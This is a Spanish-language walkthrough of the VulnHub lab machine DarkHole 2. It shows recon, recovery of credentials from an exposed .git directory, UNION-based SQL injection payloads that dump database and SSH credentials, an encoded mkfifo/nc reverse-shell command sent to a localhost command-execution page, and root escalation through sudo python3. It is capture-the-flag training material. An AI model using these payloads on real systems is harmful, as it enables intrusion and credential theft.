Post

VulnHub Machines: DarkHole 2

DarkHole 2 es una máquina de dificultad Fácil, donde enumerando la máquina encontraremos una web con .git expuesto. Encontrando en los logs credenciales expuestas. En el panel de administración encontramos un SQLi donde explotamos y obtenemos credenciales de usuarios válidos en SSH. Una vez dentro de la máquina encontraremos en el archivo .bash_history solicitudes expuestas a una aplicación web corriendo en localhost, pudiendo ejecutar comandos como el usuario Losy. Luego abusamos del permiso sudoers en python3 que tenemos con el usuario Losy.

Enumeración

Vamos a empezar escaneando la red local:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(pylon㉿kali)-[~/…/pylon/Vulnhub/DarkHole2/nmap]
└─$ sudo arp-scan -I eth0 --localnet
[sudo] password for pylon: 
Interface: eth0, type: EN10MB, MAC: 00:0c:29:9e:99:b0, IPv4: 192.168.64.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.64.1    00:50:56:c0:00:08       VMware, Inc.
192.168.64.2    00:50:56:fb:55:46       VMware, Inc.
192.168.64.129  00:0c:29:95:1b:eb       VMware, Inc.
192.168.64.254  00:50:56:ed:c4:96       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.922 seconds (133.19 hosts/sec). 4 responded

Por la direción MAC identifico la IP de la máquina que es la 192.168.64.129 . Ahora vamos a realizar un escaneo de puertos con nmap :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(pylon㉿kali)-[~/…/pylon/Vulnhub/DarkHole2/nmap]
└─$ nmap -p- --open -sS -n -Pn -vvv 192.168.64.129 -oG ports
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 13:18 CEST
Initiating ARP Ping Scan at 13:18
Scanning 192.168.64.129 [1 port]
Completed ARP Ping Scan at 13:18, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:18
Scanning 192.168.64.129 [65535 ports]
Discovered open port 80/tcp on 192.168.64.129
Discovered open port 22/tcp on 192.168.64.129
Completed SYN Stealth Scan at 13:18, 0.97s elapsed (65535 total ports)
Nmap scan report for 192.168.64.129
Host is up, received arp-response (0.00060s latency).
Scanned at 2025-07-01 13:18:21 CEST for 1s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 00:0C:29:95:1B:EB (VMware)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Vemos que tiene el puerto 22 y 80 abierto, vamos a realizar un segundo escaneo para identificar que servicios y versiones están corriendo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Nmap 7.95 scan initiated Tue Jul  1 13:19:34 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sCV -oN target 192.168.64.129
Nmap scan report for 192.168.64.129
Host is up (0.00015s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 57:b1:f5:64:28:98:91:51:6d:70:76:6e:a5:52:43:5d (RSA)
|   256 cc:64:fd:7c:d8:5e:48:8a:28:98:91:b9:e4:1e:6d:a8 (ECDSA)
|_  256 9e:77:08:a4:52:9f:33:8d:96:19:ba:75:71:27:bd:60 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-git: 
|   192.168.64.129:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: i changed login.php file for more secure 
|_http-title: DarkHole V2
MAC Address: 00:0C:29:95:1B:EB (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul  1 13:19:40 2025 -- 1 IP address (1 host up) scanned in 6.53 seconds

Vemos lo siguiente:

PuertoInformación
22/tcpOpenSSH 8.2p1 Ubuntu
80/tcpApache httpd 2.4.41
Nos reporta que a encontrado el directorio .git .

Al ver que esta expuesto la carpeta .git decido dumpearla con git-dumper :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
┌──(venv)(pylon㉿kali)-[~/…/pylon/Vulnhub/DarkHole2/content]
└─$ git-dumper http://192.168.64.129/.git/ git
[-] Testing http://192.168.64.129/.git/HEAD [200]
[-] Testing http://192.168.64.129/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://192.168.64.129/.git/ [200]
[-] Fetching http://192.168.64.129/.gitignore [404]
[-] Fetching http://192.168.64.129/.git/COMMIT_EDITMSG [200]
[-] Fetching http://192.168.64.129/.git/HEAD [200]
[-] Fetching http://192.168.64.129/.git/config [200]
[-] Fetching http://192.168.64.129/.git/info/ [200]
[-] Fetching http://192.168.64.129/.git/hooks/ [200]
[-] Fetching http://192.168.64.129/.git/logs/ [200]
[-] Fetching http://192.168.64.129/.git/info/exclude [200]
[-] Fetching http://192.168.64.129/.git/description [200]
[-] Fetching http://192.168.64.129/.git/logs/refs/ [200]
[-] Fetching http://192.168.64.129/.git/objects/ [200]
[-] Fetching http://192.168.64.129/.git/index [200]
[-] Fetching http://192.168.64.129/.git/refs/ [200]
[-] Fetching http://192.168.64.129/.git/hooks/commit-msg.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/post-update.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://192.168.64.129/.git/logs/HEAD [200]
[-] Fetching http://192.168.64.129/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/pre-push.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/pre-commit.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/pre-receive.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/update.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://192.168.64.129/.git/logs/refs/heads/ [200]
[-] Fetching http://192.168.64.129/.git/objects/04/ [200]
[-] Fetching http://192.168.64.129/.git/refs/tags/ [200]
[-] Fetching http://192.168.64.129/.git/objects/09/ [200]
[-] Fetching http://192.168.64.129/.git/objects/4e/ [200]
[-] Fetching http://192.168.64.129/.git/refs/heads/ [200]
[-] Fetching http://192.168.64.129/.git/objects/8b/ [200]
[-] Fetching http://192.168.64.129/.git/objects/9d/ [200]
[-] Fetching http://192.168.64.129/.git/objects/32/ [200]
[-] Fetching http://192.168.64.129/.git/objects/8a/ [200]
[-] Fetching http://192.168.64.129/.git/objects/6e/ [200]
[-] Fetching http://192.168.64.129/.git/objects/0f/ [200]
[-] Fetching http://192.168.64.129/.git/objects/7f/ [200]
[-] Fetching http://192.168.64.129/.git/objects/66/ [200]
[-] Fetching http://192.168.64.129/.git/objects/49/ [200]
[-] Fetching http://192.168.64.129/.git/objects/a2/ [200]
[-] Fetching http://192.168.64.129/.git/objects/93/ [200]
[-] Fetching http://192.168.64.129/.git/objects/59/ [200]
[-] Fetching http://192.168.64.129/.git/objects/77/ [200]
[-] Fetching http://192.168.64.129/.git/objects/b2/ [200]
[-] Fetching http://192.168.64.129/.git/objects/b6/ [200]
[-] Fetching http://192.168.64.129/.git/objects/56/ [200]
[-] Fetching http://192.168.64.129/.git/objects/e6/ [200]
[-] Fetching http://192.168.64.129/.git/objects/a4/ [200]
[-] Fetching http://192.168.64.129/.git/objects/pack/ [200]
[-] Fetching http://192.168.64.129/.git/objects/aa/ [200]
[-] Fetching http://192.168.64.129/.git/objects/ca/ [200]
[-] Fetching http://192.168.64.129/.git/objects/c1/ [200]
[-] Fetching http://192.168.64.129/.git/objects/c9/ [200]
[-] Fetching http://192.168.64.129/.git/objects/info/ [200]
[-] Fetching http://192.168.64.129/.git/objects/8b/6cd9032d268332de09c64cbe9efa63ace3998e [200]
[-] Fetching http://192.168.64.129/.git/refs/heads/master [200]
[-] Fetching http://192.168.64.129/.git/objects/04/4d8b4fec000778de9fb27726de4f0f56edbd0e [200]
[-] Fetching http://192.168.64.129/.git/objects/4e/b24de5b85be7cf4b2cef3f0cfc83b09a236133 [200]
[-] Fetching http://192.168.64.129/.git/objects/6e/4328f5f878ed20c0b68fc8bda2133deadc49a3 [200]
[-] Fetching http://192.168.64.129/.git/objects/32/580f7fb8c39cdad6a7f49839cebfe07f597bcf [200]
[-] Fetching http://192.168.64.129/.git/objects/32/d0928f948af8252b0200ff9cac40534bfe230b [200]
[-] Fetching http://192.168.64.129/.git/logs/refs/heads/master [200]
[-] Fetching http://192.168.64.129/.git/objects/8a/0ff67b07eb0cc9b7bed4f9094862c22cab2a7d [200]
[-] Fetching http://192.168.64.129/.git/objects/7f/d95a2f170cb55fbb335a56974689f659e2c383 [200]
[-] Fetching http://192.168.64.129/.git/objects/09/04b1923584a0fb0ab31632de47c520db6a6e21 [200]
[-] Fetching http://192.168.64.129/.git/objects/66/5001d05a7c0b6428ce22de1ae572c54cba521d [200]
[-] Fetching http://192.168.64.129/.git/objects/a2/0488521df2b427246c0155570f5bfad6936c6c [200]
[-] Fetching http://192.168.64.129/.git/objects/77/c09cf4b905b2c537f0a02bca81c6fbf32b9c9d [200]
[-] Fetching http://192.168.64.129/.git/objects/49/151b46cc957717f5529d362115339d4abfe207 [200]
[-] Fetching http://192.168.64.129/.git/objects/9d/ed9bf70f1f63a852e9e4f02df7b6d325e95c67 [200]
[-] Fetching http://192.168.64.129/.git/objects/93/9b9aad671e5bcde51b4b5d99b1464e2d52ceaa [200]
[-] Fetching http://192.168.64.129/.git/objects/56/987e1f75e392aae416571b38b53922c49f6e7e [200]
[-] Fetching http://192.168.64.129/.git/objects/59/218997bfb0d8012a918e43bea3e497e68248a9 [200]
[-] Fetching http://192.168.64.129/.git/objects/b6/f546da0ab9a91467412383909c8edc9859a363 [200]
[-] Fetching http://192.168.64.129/.git/objects/b2/076545503531a2e482a89b84f387e5d44d35c0 [200]
[-] Fetching http://192.168.64.129/.git/objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391 [200]
[-] Fetching http://192.168.64.129/.git/objects/ca/f37015411ad104985c7dd86373b3a347f71097 [200]
[-] Fetching http://192.168.64.129/.git/objects/a4/d900a8d85e8938d3601f3cef113ee293028e10 [200]
[-] Fetching http://192.168.64.129/.git/objects/0f/1d821f48a9cf662f285457a5ce9af6b9feb2c4 [200]
[-] Fetching http://192.168.64.129/.git/objects/c9/56989b29ad0767edc6cf3a202545927c3d1e76 [200]
[-] Fetching http://192.168.64.129/.git/objects/c1/ef127486aa47cd0b3435bca246594a43b559bb [200]
[-] Fetching http://192.168.64.129/.git/objects/aa/2a5f3aa15bb402f2b90a07d86af57436d64917 [200]
[-] Sanitizing .git/config
[-] Running git checkout .

Bien ya teniendo esta información, antes de seguir con ella vamos a buscar otra, vamos a ver la aplicación web:

image.png

Podemos ver que tiene un Login , vamos a intentar credenciales básicas:

image.png

Se ve que pide de un correo electronico, vamos a probar en el campo de la contraseña añadir una ' a ver si sucede algo fuera de lo normal:

image.png

Sigue exactamente igual… En la web no hay gran cosa, así que vamos a ver el git :

image.png

Vamos a ver el login.php para ver si hay algo mal configurado y que podamos abusar de el:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
session_start();
require 'config/config.php';
if($_SERVER['REQUEST_METHOD'] == 'POST'){
    $email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
    $pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));
    $check = $connect->query("select * from users where email='$email' and password='$pass' and id=1");
    if($check->num_rows){
        $_SESSION['userid'] = 1;
        header("location:dashboard.php");
        die();
    }

}
?>

<link rel="stylesheet" href="style/login.css">
<head>
    <script src="https://kit.fontawesome.com/fe909495a1.js" crossorigin="anonymous"></script>
    <link rel="stylesheet" href="Project_1.css">
    <title>Home</title>
</head>

<body>

<div class="container">
    <h1>👋 Welcome</h1>
    <!-- <a href="file:///C:/Users/SAURABH%20SINGH/Desktop/HTML5/PROJECTS/Project%201/Project_1.html"><h1>Sign In</h1></a> -->
    <!-- <a href="file:///C:/Users/SAURABH%20SINGH/Desktop/HTML5/PROJECTS/Project%201/P2.html">  <h1>Log In</h1></a> -->
    <form action="" method="post">
    <div class="box">
        <i  class="fas fa-envelope"></i>
        <input type="email" name="email" id="email"  placeholder="Enter Your Email" required>
    </div>
    <div class="box">
        <i  class="fas fa-key"></i>
        <input type="password" name="password" id="password" placeholder="Enter Your Password" required>
    </div>
        <button id="btn" name="button">Login</button>
    </form>

</div>

</body>

Viendo las primeras lineas del código veo que incluye el archivo config.php que se encuentra en el directorio config . Vamos a darle un ojo:

1
2
<?php
$connect = new mysqli("localhost","root","","darkhole_2");

Tenemos unas credenciales:

UsernamePassword
rootdarkhole_2

En este caso son las credenciales de acceso a la base de datos, esto nos está chivando que el usuario empleado es root con una posibilidad de tener super privilegios en la base de datos y poder realizar muchas acciones abusando de los privilegios. Pero primero necesitamos encontrar un SQLi . En el código vemos lo que hace con nuestro input:

1
2
    $email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
    $pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));

Vemos que nos sanitiza la entrada con mysqli_real_escape_string así que por aquí no puede a ver un SQLi. Vamos a ver los logs del .git :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(venv)(pylon㉿kali)-[~/…/Vulnhub/DarkHole2/content/git]
└─$ git log
commit 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 (HEAD -> master)
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:14:32 2021 +0300

    i changed login.php file for more secure

commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:06:20 2021 +0300

    I added login.php file with default credentials

commit aa2a5f3aa15bb402f2b90a07d86af57436d64917
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:02:44 2021 +0300

    First Initialize

Vemos varios logs, donde en 1 vemos un correo electrónico → anmar-v7@hotmail.com . Vamos a ver que se realizó en ese log ya que comenta que añadio cosas en el login.php :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(venv)(pylon㉿kali)-[~/…/Vulnhub/DarkHole2/content/git]                                                                                                                    13:31:42 [2/2]
└─$ git show a4d900a8d85e8938d3601f3cef113ee293028e10                                                                                                                                        
commit a4d900a8d85e8938d3601f3cef113ee293028e10                                                                                                                                              
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:06:20 2021 +0300

    I added login.php file with default credentials

diff --git a/login.php b/login.php
index e69de29..8a0ff67 100644
--- a/login.php
+++ b/login.php
@@ -0,0 +1,42 @@
+<?php
+session_start();
+require 'config/config.php';
+if($_SERVER['REQUEST_METHOD'] == 'POST'){
+    if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){
+        $_SESSION['userid'] = 1;
+        header("location:dashboard.php");
+        die();
+    }
+
+}
+?>
+
+<link rel="stylesheet" href="style/login.css">
+<head>
+    <script src="https://kit.fontawesome.com/fe909495a1.js" crossorigin="anonymous"></script> 
+    <link rel="stylesheet" href="Project_1.css">
+    <title>Home</title>

Vemos otras credenciales:

UsernamePassword
rootdarkhole_2
lush@admin.com321

Vemos que esto estaba en el login.php , vamos a ver si son válidas:

image.png

Bien!! Me estoy finjando en un detalle que es el parámetro por GET id , vamos a probar a poner una comilla simple:

image.png

Vemos que la aplicación no carga. vamos a ver que código de estado devuelve:

image.png

Vamos a emplear ORDER BY para filtrar por un número de columnas hasta encontrar el exacto:

  • ' order by 100-- - :

image.png

Era poco probable, vamos a bajarlo a 10 :

image.png

Nada… vamos a ir probando 9,8,7… hasta que de otro código de estado:

image.png

Vemos que con 6 funciona, para probar vamos a poner 7 :

image.png

Vale, ya conocemos el número exacto de columnas que tiene la tabla. Vamos a emplear UNION para ver si se reflejan los “datos basura”:

1
' union select 1,2,3,4,5,6-- -

image.png

Vemos que no… Ya que hay datos existentes y se reflejan primero. Vamos a probar a ir a id=2 :

image.png

Vemos que aquí ya no hay datos, vamos a probar el UNION :

image.png

Vemos que se relfjan las columnas 2,3,5,6 y las columnas 1,4 no. Trabajaremos en la columna 2 ya que se refleja. Vamos a confirmar que el usuario que esta conectado a la db es root con la función user() :

1
' union select 1,user(),3,4,5,6-- -

image.png

Vamos a ver si tenemos super privilegios en la base de datos, para ello usaremos la base de datos mysql y la tabla user apuntando a la columna super_priv :

1
' union select 1,super_priv,3,4,5,6 from mysql.user-- -

image.png

En este caso nos dice que Y que significa Yes así que tenemos super privilegios en la base de datos. Vamos a intentar enumerar los privilegios que tenemos:

1
' union select 1,grantee,privilege_type,4,5,6 from information_schema.user_privileges-- -

image.png

Podemos fijarnos en 2 problemas:

  1. No vemos todos los resultados solo muestra la primera fila.
  2. Estamos viendo los privilegios de otro usuario al que no estamos interesados

Para ver todos los resultados vamos a usar group_concat() que lo que hace es concatenar todas las filas en 1:

1
' union select 1,group_concat(grantee),3,4,group_concat(privilege_type),6 from information_schema.user_privileges where grantee="'root'@'localhost'"-- -

Pero no nos mostrará nada. Vamos a enumerar la base de datos:

1
' union select 1,schema_name,3,4,5,6 from information_schema.schemata-- -

image.png

Vemos solo mysql y es raro, vamos a usar group_concat :

1
' union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata-- -

image.png

Vemos la base de datos darkhole_2 , vamos a ver que db esta empleando actualmente:

1
' union select 1,database(),3,4,5,6-- -

image.png

Vale, vamos a enumerar que tablas tiene la base de datos darkhole_2 :

1
' union select 1,group_concat(table_name),3,4,group_concat(table_schema),6 from information_schema.tables where table_schema='darkhole_2'-- -

image.png

Existen 2 tablas:

  • users
  • ssh

Vamos a ver la tabla users a ver que columnas contiene:

1
' union select 1,group_concat(column_name),3,4,group_concat(table_name),group_concat(table_schema) from information_schema.columns where table_name='users' and table_schema='darkhole_2'-- -

image.png

Vemos las siguientes columnas:

  • address
  • contact_number
  • email
  • id
  • password
  • username
1
' union select 1,username,3,4,password,6 from darkhole_2.users-- -

image.png

Vemos ya las credenciales obtenidas anteriormente por los logs de git . Vamos a ver las columnas de la otra tabla llamada ssh

1
' union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='ssh' and table_schema='darkhole_2'-- -

image.png

Vamos a ver el contenido de esas columnas:

1
' union select 1,group_concat(user),3,4,group_concat(pass),6 from darkhole_2.ssh-- -

image.png

Tenemos la siguientes credenciales:

UsernamePasswordServicio
rootdarkhole_2mysql
lush@admin.com321login (http)
jehadfoolssh

Vamos a probar las credenciales por SSH:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(pylon㉿kali)-[~/…/Vulnhub/DarkHole2/nmap/git]
└─$ ssh jehad@192.168.64.129
jehad@192.168.64.129's password: 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 01 Jul 2025 06:13:39 PM UTC

  System load:  0.01               Processes:              233
  Usage of /:   49.9% of 12.73GB   Users logged in:        0
  Memory usage: 20%                IPv4 address for ens33: 192.168.64.129
  Swap usage:   0%

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri Sep  3 05:49:05 2021 from 192.168.135.128
jehad@darkhole:~$ 

User Losy

Vamos a ver el .bash_history de nuestro usuario actual jehad :

1
2
3
4
5
6
7
jehad@darkhole:~$ cat .bash_history
[..]
curl http://localhost:9999
curl "http://localhost:999/?cmd=id" 
curl "http://localhost:9999/?cmd=id" 
curl http://localhost:9999/
[..]

Vemos que ha realizado peticiones por GET al puerto 9999 que estaría corriendo en localhost , vamos a comprobar si sigue activo:

1
2
3
4
5
6
7
8
9
10
jehad@darkhole:~$ ss -anot
State              Recv-Q             Send-Q                          Local Address:Port                              Peer Address:Port              Process                                 
LISTEN             0                  151                                 127.0.0.1:3306                                   0.0.0.0:*                                                         
LISTEN             0                  4096                                127.0.0.1:9999                                   0.0.0.0:*                                                         
LISTEN             0                  4096                            127.0.0.53%lo:53                                     0.0.0.0:*                                                         
LISTEN             0                  128                                   0.0.0.0:22                                     0.0.0.0:*                                                         
LISTEN             0                  70                                  127.0.0.1:33060                                  0.0.0.0:*                                                         
ESTAB              0                  0                              192.168.64.129:22                              192.168.64.128:48028              timer:(keepalive,117min,0)             
LISTEN             0                  511                                         *:80                                           *:*                                                         
LISTEN             0                  128                                      [::]:22                                        [::]:*                                                         

Sigue activo, vamos a enviarle un petición con curl :

1
2
jehad@darkhole:~$ curl localhost:9999
Parameter GET['cmd']

Vemos que espera un parámetro por GET llamado cmd , vamos a enviarselo con un valor de un comando del sistema como id , ya que normalmente el parámetro cmd se emplea para ejecutar comandos a nivel de sistema:

1
2
3
4
jehad@darkhole:~$ curl localhost:9999?cmd=id
Parameter GET['cmd']uid=1002(losy) gid=1002(losy) groups=1002(losy)
uid=1002(losy) gid=1002(losy) groups=1002(losy)

Vemos que lo ejecuta como el usuario losy , vamos a ponernos en escucha en otra shell por ssh ya que esto corre por su localhost y no llegará a nuestra máquina, vamos a ver si tiene nc :

1
2
3
4
5
6
jehad@darkhole:~$ nc
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
          [-m minttl] [-O length] [-P proxy_username] [-p source_port]
          [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
          [-X proxy_protocol] [-x proxy_address[:port]]           [destination] [port]

Bien nos pondremos en escucha en el puerto 8081 :

1
2
ehad@darkhole:~$ nc -nlvp 8081
Listening on 0.0.0.0 8081

Ahora enviaremos la reverse shell sacada de https://www.revshells.com/:

1
jehad@darkhole:~$ curl "http://127.0.0.1:9999/?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20127.0.0.1%208081%20%3E%2Ftmp%2Ff"

Ahora veremos si se estableció conexión:

1
2
3
4
5
jehad@darkhole:~$ nc -nlvp 8081
Listening on 0.0.0.0 8081
Connection received on 127.0.0.1 34774
sh: 0: can't access tty; job control turned off
$ 

Bien! Pongamos whoami para ver si somos losy :

1
2
$ whoami
losy

Vemos que estamos en el directorio /opt/web donde vemos un index.php :

1
2
3
4
5
6
7
8
losy@darkhole:/opt/web$ cat index.php 
<?php
echo "Parameter GET['cmd']";
if(isset($_GET['cmd'])){
echo system($_GET['cmd']);
}
?>

Ahí vemos que recoje el valor del parámetro por GET y ejecuta como comando del sistema con system .

Escalada de privilegios

Vamos a ver el .bash_history del usuario losy :

image.png

UsernamePasswordServicio
rootdarkhole_2mysql
lush@admin.com321login (http)
jehadfoolssh
losygang 

Ahora vamos a hacer un sudo -l :

1
2
3
4
5
6
7
8
losy@darkhole:~$ sudo -l
[sudo] password for losy: 
Matching Defaults entries for losy on darkhole:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User losy may run the following commands on darkhole:
    (root) /usr/bin/python3

Lo que haremos es ejecutar python3 como root e importar la libreria os :

1
2
losy@darkhole:~$ sudo python3 -c "import os; os.system('id')"
uid=0(root) gid=0(root) groups=0(root)
1
2
3
losy@darkhole:~$ sudo python3 -c "import os; os.system('/bin/bash')"
root@darkhole:/home/losy# whoami
root

root! :)


This post is licensed under CC BY 4.0 by the author.